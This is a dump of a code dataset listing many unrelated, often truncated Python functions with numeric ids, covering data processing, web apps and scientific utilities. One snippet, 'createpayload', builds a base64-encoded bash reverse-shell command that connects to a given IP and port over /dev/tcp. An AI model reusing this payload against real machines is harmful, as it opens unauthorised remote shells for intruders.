content
stringlengths
22
815k
id
int64
0
4.91M
def kill_lines(path): """ Will run sed on all files in path and remove leftovers from commented out cookie cutter code ` # - ` or ` // - ` """ re = '^\s*(#|//) -\s*$' for escape in "()/|": re = re.replace(escape, fr"\{escape}") sed_command = f"/{re}/d" print(f"removing kill lines | {...
5,313,200
def main(): """Command-line interface for the rate_vs_age_tc function in tcplotter.""" parser = argparse.ArgumentParser( description="Calculates thermochronometer ages and closure temperatures for " "different cooling rates and eU concentrations.", formatter_class=argparse.ArgumentDefaul...
5,313,201
def url_for(root, path, language=None): """If page at `path` exists, returns it's root-relative URL; otherwise throws an exception. """ base_url = settings.BASE_URL if language and language != settings.DEFAULT_LANGUAGE: base_url += '%s/' % language node = root.find_descendant(path) ...
5,313,202
def get_args(): """get command-line arguments""" parser = argparse.ArgumentParser( description='Argparse Python script', formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument( '-s', '--state', help='the state of the board (type str, def...
5,313,203
def build_upload_dict(metadata, tags, project): """Build the metadata/tags/projects in a dict compatible with what the OneCodex backend expects.""" upload_args = {} if metadata: # format metadata keys as snake case new_metadata = {} for md_key, md_val in metadata.items(): ...
5,313,204
async def books_in_category(category: str) -> Any: """Retrieve the books of the given category from the database.""" result = [book for book in BOOKS if book.category == category] return result
5,313,205
def GetActivationIDsSince(since, limit=100): """ Returns the activation IDs (including the namespace) """ configs = GetDBConfigs() url = configs['db_protocol']+'://'+configs['db_host']+':' + \ configs['db_port']+'/'+configs['db_prefix']+'activations/_find' headers = { 'Content-Ty...
5,313,206
def getOffset(viewID=DEFAULT_VIEW): """getOffset(string): -> (double, double) Returns the x and y offset of the center of the current view. """ return _getUniversal(tc.VAR_VIEW_OFFSET, viewID)
5,313,207
def laplacian_power(k: int): """Compute the coefficients of x^n, x^{n - 1}y, ..., y^n for the k-th power of the Laplacian.""" result = np.zeros(2*k + 1) # The k-th power is given by (x^2 + y^2)^k = sum_{i = 0}^k {k choose i} x^{2i}y^{2(k - i)}. # So the coefficient of x^{2i}y^{2(k - i)} is the binomial ...
5,313,208
def _as_valid_media_array(x: Iterable[Any]) -> np.ndarray: """Converts to ndarray (if not already), and checks validity of data type.""" a = np.asarray(x) if a.dtype == bool: a = a.astype(np.uint8) * np.iinfo(np.uint8).max _as_valid_media_type(a.dtype) return a
5,313,209
def docker_vm_is_running(): """Using VBoxManage is 0.5 seconds or so faster than Machine.""" running_vms = check_output_demoted(['VBoxManage', 'list', 'runningvms']) for line in running_vms.splitlines(): if '"{}"'.format(constants.VM_MACHINE_NAME) in line: return True return False
5,313,210
def fixture_frame_bucket() -> FrameBucket: """Return instance of frame version bucket.""" return FrameBucket()
5,313,211
def test_is_product_entangled_density_matrix(): """Check to ensure that an entangled density matrix is not product.""" res = is_product(bell(0) * bell(0).conj().T) np.testing.assert_equal(res[0], False) res = is_product(bell(0) * bell(0).conj().T, [2, 2]) np.testing.assert_equal(res[0], False)
5,313,212
def _convert_asset_for_get_list_result(asset): """Converts an EarthEngineAsset to the format returned by getList.""" result = _convert_dict( asset, { 'name': 'id', 'type': ('type', _convert_asset_type_for_get_list_result) }, defaults={'type': 'Unknown'}) return result
5,313,213
def update_netbox_object(nb_obj, data, check_mode): """Update a Netbox object. :returns tuple(serialized_nb_obj, diff): tuple of the serialized updated Netbox object and the Ansible diff. """ serialized_nb_obj = nb_obj.serialize() updated_obj = serialized_nb_obj.copy() updated_obj.update(dat...
5,313,214
def rle_1d(arr): """Return the length, starting position and value of consecutive identical values. Parameters ---------- arr : sequence Array of values to be parsed. Returns ------- (values, run lengths, start positions) values : np.array The values taken by arr over each ...
5,313,215
def set_quantize_info(model, new_quantize_info): """Set the quantize info of the model""" for layer in model.layers: if ( isinstance(layer, vitis_quantize_wrapper.QuantizeWrapper) and layer.layer.name in new_quantize_info ): layer.set_quantize_info(new_quantiz...
5,313,216
def get_time_until_next_departure(trip_call=None): """Gets the time until the departure from the next station in minutes """ if trip_call is None: trip_call = get_trip() return get_time_until_departure(evaNr=get_next_station_eva_number(trip_call=trip_call), trip_call=trip_call)
5,313,217
def generateMessage(rotation, tiltRight, tiltLeft, eyeLeft, blinkLeft, blinkRight, eyeRight): """ """ messageToSend = [] messageToSend.append(int(rotation)) messageToSend.append(int(tiltRight)) messageToSend.append(int(tiltLeft)) messageToSend.append(int(eyeLeft)) messageToSend.append(i...
5,313,218
def compute_performance_metrics(y_true, y_pred): """ Compute precision, recall, and f1 score. y_true: true label y_pred: predicted label Labels are not hot encoded Return a dictionary containing Accuracy, Precision, Recall, F1 Score (samples, macro, weighted) and Hamming Loss """ # whet...
5,313,219
def metablock(parsed): """ Remove HTML tags, entities and superfluous characters from meta blocks. """ parsed = " ".join(parsed.replace("\n", "").split()).replace(" ,", ",") return strip_tags(decode_entities(parsed))
5,313,220
def unit_vector(vector): """ Returns the unit vector of the vector. """ vec_norm = np.linalg.norm(vector) if vec_norm == 0: return vector * 0 else: return vector / np.linalg.norm(vector)
5,313,221
def app_metadata_json(): """Create metadata.json content for a test app.""" return { "description": "A test app that does not really exist.", "title": "Test App", "version": "1.0.0", "authors": "aiidalab", "logo": "img/logo.png", "state": "development" }
5,313,222
def align_to_target( infile=None, outfile=None, template=None, interpolation='cubic', asvelocity=True, overwrite=False, axes=[-1] ): """ Align one cube to another, creating a copy. Right now a thin wrapper to imregrid used mostly to avoid exposing CASA directly into the p...
5,313,223
def establish_auth_session(request, response): """Sets login cookies to maintain a user's sign-in session. Args: request: webapp2.Request. The request with the authorization to begin a new session. response: webapp2.Response. The response to establish the new session upo...
5,313,224
def get_text(original, token, replace): """Convenience function for getting the text to use for a match when formatting. If ``replace`` is False, returns the part of ``original`` between ``token.startchar`` and ``token.endchar``. If ``replace`` is True, returns ``token.text``. """ if repla...
5,313,225
def LoadUCursor(fc,flist=None): """Important note: Function creates two outputs, also only opens cursor, no "with" function to automatically close, remeber to delete cursor and fieldlist when finished""" fields = [field.name for field in arcpy.ListFields(fc)] if flist: for f in flist: ...
5,313,226
def test_RP_with_all_ip_octet_p1(request): """ Verify when candidate RP advertised with 32 mask length and contain all the contacts Topology used: b1_____ | | s1-----f1-----i1-----l1----r1 | ______| b2 b1 - BSR 1 b2 - BSR 2 ...
5,313,227
def cal_region_id(data, fps_index, result_path, save=True): """ calculate and save region id of all the points Input: data: (B,num_points,3) tensor, point cloud, num_points=1024 fps_index: (num_regions,) ndarray, center idx of the 32 regions result_path: path to save file Retur...
5,313,228
def migrate_guid_log(log): """Migrate non-reference fields containing primary keys on logs. """ for key in ['project', 'node']: if key in log.params: value = log.params[key] or '' record = models.Node.load(value.lower()) if record is not None: log...
5,313,229
def is_perfect_piggy(turn_score): """Returns whether the Perfect Piggy dice-swapping rule should occur.""" # BEGIN PROBLEM 4 "*** REPLACE THIS LINE ***" if turn_score==1: return False elif is_perfect_square(turn_score) or is_perfect_cube(turn_score): return True else: ret...
5,313,230
def test11_constructor(package): """ Check Matrix construction from Python array and Numpy array """ Float, Matrix3f = package.Float, package.Matrix3f prepare(package) m1 = [[0.1, 0.2, 0.3], [0.4, 0.5, 0.6], [0.7, 0.8, 0.9]] m2 = np.array(m1, dtype=np.float32) m3 = Matrix3f(m1) m4 =...
5,313,231
def start_trading(args: Dict[str, Any]) -> int: """ Main entry point for trading mode """ # Import here to avoid loading worker module when it's not used from freqtrade.worker import Worker # Create and run worker worker = None try: worker = Worker(args) worker.run() ...
5,313,232
def test_a_tuple(a_tuple): """Demo the a_tuple fixture.""" assert a_tuple[3]['bar'] == 23
5,313,233
def make_pairs(values): """ Makes a list pairs from an iterable. However, different iterables have different behaviours when making a list of pairs. If you are trying to make a list of pairs from a CoupledPair, the CoupledPair object is wrapped in a list and returned back to you. If yo...
5,313,234
def directed_decision_free_path(cbn: CausalBayesianNetwork, start_node: str, end_node: str) -> bool: """ Checks to see if a directed decision free path exists """ for node in [start_node, end_node]: if node not in cbn.nodes(): raise KeyError(f"The node {node} is not in the (MA)CID") ...
5,313,235
def post_detail(request, year, month, day, post): """ Crear una vista para mostrar el detalle de solo un Post """ post = get_object_or_404(Post, slug=post, status='published', publish__year=year, publish__month=month,...
5,313,236
def calc_genkey_pubkey_digest(mode, key_id, public_key, temp_key, sn, other_data=None): """ Replicate the internal TempKey calculations of the GenKey command in digest mode. """ if len(public_key) != 64: raise ValueError('public_key must be 64 bytes') if len(temp_key) != 32: rais...
5,313,237
def createpayload(ip, port): """Create base64 payload""" # Rewrite our ip in HEX (https://github.com/D4Vinci/Cuteit) hexip = Cit.lib(ip) base64payload = os.popen("printf 'bash -i >& /dev/tcp/" + str(hexip.hex) + "/" + port + " 0>&1' | base64 | tr -d " ...
5,313,238
def create_facet_plot(activities={}, style='white', color='black', save=False, img_filename='facet_plot.png'): """Creates facet plot with individual activities. Args: activities (dict): Optional parameters for retrieved activities. Format below. Default plots all activ...
5,313,239
def modifier(): """ Permet au joueur de modifier l'application en ajoutant/supprimant des thèmes/questions. PRE : - POST : Redirige l'utilisateur selon son choix en appelant la fonction adéquate. """ print("Menu > Modifier :") print(" 1. Ajouter un thème") print(" 2. Ajouter une q...
5,313,240
def create_repeated_leaf_node(parent_index, values): """Creates a repeated PrensorField. Args: parent_index: a list of integers that is converted to a 1-D int64 tensor. values: a list of whatever type that the field represents. Returns: A PrensorField with the parent_in...
5,313,241
def api_rate_limit(func): """Decorator to limit how often a function can be called""" def inner(self, *args, **kwargs): if self._previous_request_timestamps[0] >= datetime.now() - timedelta(seconds=1): print("API Rate Limiting... 10 Requests per second") time.sleep(self.api_...
5,313,242
def configs_in(src_dir): """Enumerate all configs in src_dir""" for filename in files_in_dir(src_dir, 'json'): with open(os.path.join(src_dir, filename), 'rb') as in_f: yield json.load(in_f)
5,313,243
def calc_Ti(Te, Tg, n): """Calcuate the infectious period.""" return (Tg - Te) * 2.0 * n / (n + 1.0)
5,313,244
def function_from_graph_def(graph_def, inputs, outputs, captures=None): """Creates a ConcreteFunction from a GraphDef. Args: graph_def: A GraphDef to make a function out of. inputs: A Tensor name or nested structure of names in `graph_def` which should be inputs to the function. outputs: A Tensor...
5,313,245
def resource_not_found(error): """ Error handling for bad request """ return jsonify({ "success": False, "error": 400, "message": "bad request" }), 400
5,313,246
def find_dandi_files( *paths: Union[str, Path], dandiset_path: Optional[Union[str, Path]] = None, allow_all: bool = False, include_metadata: bool = False, ) -> Iterator[DandiFile]: """ Yield all DANDI files at or under the paths in ``paths`` (which may be either files or directories). Files...
5,313,247
def _get_indent(line): """Return the indentation in front of a line""" indent = line.replace(line.lstrip(), '') return indent
5,313,248
def predict_test(this_model, this_true_data, this_y_scaler, target_var, environment): """ Using selected best model for this horizon, generates prediction (which is then inversed transform) Is called in a loop of features which exceed the minimum correlation coefficient Parameters ---------- t...
5,313,249
def rk45_ode_iter( f: Callable[[float], float], x1: float, x2: float, fprime: Callable[[float, float], float], x: Optional[float], y1: float, y2: float, abs_err: float, rel_err: float, abs_tol: float, rel_tol: float, ) -> Iterator[float]: """ The RK45 ODE method is th...
5,313,250
def aline(x: int, y: int, length: int, col: int, angle: int = 0) -> [int, int]: """ Draws a angled line. Because lazy math :param x: start X position :param y: start Y position :param length: length of the line in pixels :param col: colour as integer, see pyxel for that :param angle: angle ...
5,313,251
def create_volume(): """ Creates volume for data storage for postgres DB. If volume already exists it will be kept and command will not fail. """ with settings(warn_only=True): run(f'docker volume create {db_volume}')
5,313,252
def ps_(project): """ containers status """ logging.info('ps ' + project.name) running_containers = project.containers(stopped=True) items = [{ 'name': container.name, 'name_without_project': container.name_without_project, 'command': container.human_readable_command, ...
5,313,253
def _GetRegionalSetRequest(client, health_check_ref, replacement): """Returns a request for updating the health check.""" return (client.apitools_client.regionHealthChecks, 'Update', client.messages.ComputeRegionHealthChecksUpdateRequest( healthCheck=health_check_ref.Name(), he...
5,313,254
def get_val_data(X_train, y_train, num_train, num_samples): """ This function generates validation samples. Parameters ---------- X_train : List List of training samples features. y_train: Numpy array Target masks num_train: Int The number of training samples. nu...
5,313,255
def select_conf(query_message): """ Have the user select from a list of all domains with enabled vhost files. Args: query_message - The message to display to the user in the prompt """ files = enabled_sites() questions = [ inquirer.List('f', message...
5,313,256
def load_8_color_sim(measurements, time, thresholds, remove_edges=True, data=False, start_n = 13, end_n = 46, ignore=[22]): """ """ num_frames = len(measurements) data_dict = load_ME_sim(measurements, time, thresholds, center_only=True, remove_edges=False, direction='horizontal') k_hat_data = load_...
5,313,257
def service_delete_route(service_id): """delete service""" form = ButtonForm() if form.validate_on_submit(): service = Service.query.get(service_id) db.session.delete(service) db.session.commit() return redirect(url_for('storage.host_view_route', host_id=service.host_id)) ...
5,313,258
def setVariable(name, value): """ Assign a variable in scope. name = value :type name: string :param name: name of variable to set :type value: varies :param value: value to set. May be a basic type (string, int) or an object """ return CONTEXT.scope.setValue(name, value)
5,313,259
def HighFlowSingleInletGadoxetate2DSPGR_Rat(xData2DArray, Ve, Kbh, Khe, constantsString): """This function contains the algorithm for calculating how MR signal from a 2D scan varies with time using the High Flow Single Inlet Two Compartment Gadoxetate Model model...
5,313,260
def to_nltk_tokens( df, sentence_cols=["sentence1", "sentence2"], token_cols=["sentence1_tokens", "sentence2_tokens"], ): """ This function converts a sentence to word tokens using nltk. Args: df (pd.DataFrame): Dataframe with columns sentence_cols to tokenize. sentence_cols (li...
5,313,261
def loomio_vote_updated_receiver(sender, instance, status, outcome, errors, **kwargs): """ Handle a change to an ongoing Loomio poll GovernanceProcess. This function gets called any time a poll associated with this LoomioCommunity gets updated (e.g. if a vote was cast). """ try: proposal...
5,313,262
def problems(mod, msg): """Ansible module exist with an error.""" return mod.exit_json(changed=False, failed=True, msg=msg)
5,313,263
def to_sql_name(name): """ Ensure ``name`` is a valid SQL name. """ return name.lower().replace(' ', '_')
5,313,264
def get_setting(key): """Get the secret variable or return explicit exception.""" try: base_dir = str(os.path.dirname(__file__)) print("BASE DIR: " + base_dir) with open(base_dir.join("/config.json")) as f: config_json = json.loads(f.read()) return config_json[k...
5,313,265
def natural_breaks(values, k=5, init=10): """ natural breaks helper function Jenks natural breaks is kmeans in one dimension Parameters ---------- values : array (n, 1) values to bin k : int Number of classes init: int, default:10 Number of different sol...
5,313,266
def skip_if_no_package(*args, **kwargs): """Raise SkipTest if package_check fails Parameters ---------- *args Positional parameters passed to `package_check` *kwargs Keyword parameters passed to `package_check` """ package_check(exc_failed_import=SkipTest, exc_failed_check...
5,313,267
def _get_base_code_module(builder_name: tfds.core.naming.DatasetName) -> str: """Find the code location of the requested dataset.""" builder_name = str(builder_name) module_path = utils.sunds_dir() / 'datasets' if (module_path / builder_name).exists(): return f'sunds.datasets.{builder_name}' else: rai...
5,313,268
def polygon_to_points( poly ): """ Plotting helper, which rearranges polygon vertices into lists of X and Y coordinates. The first point is duplicated at the end of each list, to make a closed path. :Parameters: poly: tuple of ((x1,y1),(x2,y2),...) The coordinates of t...
5,313,269
def make_headers(worksheet): """ Make headers from worksheet """ headers = {} cell_idx = 0 while cell_idx < worksheet.ncols: cell_type = worksheet.cell_type(0, cell_idx) if cell_type == 1: header = slughifi(worksheet.cell_value(0, cell_idx)) if not header....
5,313,270
def alphanumerical(string): """ A function to filter a string to only allow alphanumerical characters. """ pattern = re.compile('[^a-zA-Z0-9]+') return pattern.sub('', string)
5,313,271
def _avgpool2d_im2col_reduce( x: AbstractTensor, pool_size: Tuple[int, int], strides: Tuple[int, int], padding: str, ) -> AbstractTensor: """Perform 2D average pooling by the im2col method.""" batch, channels, height, width = x.shape pool_height, pool_width = pool_size if padding == "SAME": ...
5,313,272
def helper_parse_UniProt_dump_other_functions(list_of_string): """ e.g. input [['EMBL; AY548484; AAT09660.1; -; Genomic_DNA.'], ['RefSeq; YP_031579.1; NC_005946.1.'], ['ProteinModelPortal; Q6GZX4; -.'], ['SwissPalm; Q6GZX4; -.'], ['GeneID; 2947773; -.'], ['KEGG; vg:2947773; -.'], ...
5,313,273
def normalise_signal_minmax(signal: numpy.ndarray) -> numpy.ndarray: """ """ return numpy.interp(signal, (signal.min(), signal.max()), (-1, 1))
5,313,274
def delete_gsgr_imageset_relations(ibs, imgsetid_list): """ Removes relationship between input imagesets and all images """ ibs.db.delete(const.GSG_RELATION_TABLE, imgsetid_list, id_colname='imageset_rowid')
5,313,275
def __setup(mod_logger, syslogging = False, facility = "LOG_LOCAL0"): """ Private: This is not to be called from outside the module. This setup the spacing ect of how the debug logging structure would look like """ mod_logger.setLevel(logging.INFO) #Setup syslog if (syslogging): print("here1") if(facil...
5,313,276
def radar(ax, data, data_names, lw=1.0, color='k', ls='-', marker=None, label=None): """ function to produce a radar plot ax = axis handle of a polar axis to do plotting in data = 1D array or list of data values data_names = 1D list of data names """ # get number of ...
5,313,277
def main(request): """HTTP Cloud Function. Args: request (flask.Request): The request object. Returns: The response text, or any set of values that can be turned into a Response object using `make_response` <http://flask.pocoo.org/docs/0.12/api/#flask.Flask.make_response>. ...
5,313,278
def znormalizeSpeakerData( featureTimeList: List[Tuple[float, ...]], index: int, filterZeroValues: bool ) -> List[Tuple[float, ...]]: """ znormalize time series data The idea is to normalize each speaker separately to be able to compare data across several speakers for speaker-dependent data li...
5,313,279
def parallel(): """ Returns 'mpi', if this code runs with MPI, else returns 'seq' :return: """ return 'mpi' if 'OMPI_COMM_WORLD_SIZE' in os.environ else 'seq'
5,313,280
def only_float(val): """Pass input val value or array only if it is a float. :param val: value to be evaluated :returns: evaluated value :rtype: np.float64 or np.ndarray """ if isinstance(val, (np.float64, float)): return val elif hasattr(val, "__iter__") and not isinstance(val, str...
5,313,281
def graph_uncachable(): """Graph used to test the marking of uncachable vertices.""" graph = ComparisonGraph() graph["f1"] = ComparisonGraph.Vertex( dup("f1"), Result.Kind.EQUAL, dup("app/f1.c"), dup(10) ) graph["f2"] = ComparisonGraph.Vertex( dup("f2"), Result.Kind.EQUAL, dup("inclu...
5,313,282
def update_playlist(playlist_id, numero, video, fecha, observaciones, force=False): """ Obtengo el vídeo que ocupa la posición indicada y, si es diferente al que recibo, lo elimino antes de insertar el nuevo. Si force es True, elimina siempre el vídeo de la posición actual. """ ...
5,313,283
def _main(): """Entry point.""" index = _parse_args() ocaml_version = OCAML_VERSIONS[index] print(ocaml_version)
5,313,284
def dcos_ca_bundle(): """ Retrieve DC/OS CA bundle and returns the content. """ return transport_encryption.fetch_dcos_ca_bundle_contents().decode("ascii")
5,313,285
def download_GTDB_to(logger, GTDB_dir): """ Download GTDB. GTDB_dir: where to store the data """ import requests import tarfile logger.info('Downloading GTDB. It will take a while..') os.makedirs(GTDB_dir, exist_ok=True) download_url = 'https://zenodo.org/record/4751564/files/GTDB_...
5,313,286
def slr_range_bias(dset): """Calculate the partial derivative of the measurement with respect to range bias. Args: data: A Dataset containing model data. Returns: Tuple: Array of partial derivatives, and list of names of derivatives """ # Check if stations to estimate for ac...
5,313,287
def train(loggers, loaders, model, optimizer, scheduler): """ The core training pipeline Args: loggers: List of loggers loaders: List of loaders model: GNN model optimizer: PyTorch optimizer scheduler: PyTorch learning rate scheduler """ start_epoch = 0 ...
5,313,288
def calc_cond_hf(data: h5py.File, direction: str='full'): """Calculate the conductive heat flow for the whole model cube in x, y, z direction Args: data (h5py.File): HDF5 file with simulated variables direction (str, optional): string to return either full (x,y,z) heat flow, or just one directi...
5,313,289
def cli_cleanup(args): """Clean up""" bibs = bm.loadfile(args.bibfile) if args.ads: updated = am.update(base=bibs) if updated is not None: bibs = updated bm.export(bibs, args.bibfile)
5,313,290
def decode_dbkey(dbkey): """ Decodes dbkey and returns tuple ( username, dbkey )""" if isinstance(dbkey, str) and ':' in dbkey: return dbkey.split(':') else: return None, dbkey
5,313,291
def get_case_related_entities(st, related_cases): """Returns the all the entities featured in the related cases without duplicates. INPUT: Storage unit, related cases. OUTPUT: All the entities and their types contained in the related cases without duplicates""" existing_ners = {} for c in relat...
5,313,292
def create_view(request): """ Takes a http request and renders a page for creating a Hub. """ if(request.method == 'POST'): form = HubCreateForm(request.POST) # Check if the form is valid: if form.is_valid(): queryset_hub = Hub.objects.filter(seller_name...
5,313,293
async def async_setup(hass, config): """Start the Fortigate component.""" conf = config[DOMAIN] host = conf[CONF_HOST] user = conf[CONF_USERNAME] api_key = conf[CONF_API_KEY] devices = conf[CONF_DEVICES] is_success = await async_setup_fortigate( hass, config, host, user, api_key, d...
5,313,294
def get_documents_words(news_files, corpus_news): """ Given a set of documents it will return the dictionary with their respective categories :param news_files: List of raw news file names :param corpus_news: PlainTextCorpusReader object :return: Dictionary with words and categories associated ...
5,313,295
def process(ele): """reshape 'dtce' and 0-1 normalizes it""" ele['dtce'] = tf.reshape(ele['dtce'], [ele['height'], ele['width']]) ele['dtce'] = (ele['dtce'] - tf.reduce_min(ele['dtce']))/(tf.reduce_max(ele['dtce']) - tf.reduce_min(ele['dtce'])) return ele
5,313,296
def get_CIFAR10_data(cifar10_dir, num_training=49000, num_validation=1000, num_test=1000, subtract_mean=True): """ Load the CIFAR-10 dataset from disk and perform preprocessing to prepare it for classifiers. """ # Load the raw CIFAR-10 data X_train, y_train, X_test, y_test =...
5,313,297
def run(): """ Execute a simple Queue with multi processing Library""" foods = [ 'eba', 'amala', 'tuwo', 'akpu', ] queue = multiprocessing.Queue() print('Enqueuing...') for food in foods: print(food) queue.put(food) print('\nDequeuing...') ...
5,313,298
def getEmoji(aCountry): """ Get country emoji """ bEmoji = "" try: if aCountry in Config.dCountryCodes: bEmoji = flag.flagize(":%s:" % (Config.dCountryCodes[aCountry])) except Exception: myLogger.exception( "Exception in [file: %s | module: %s | line: %...
5,313,299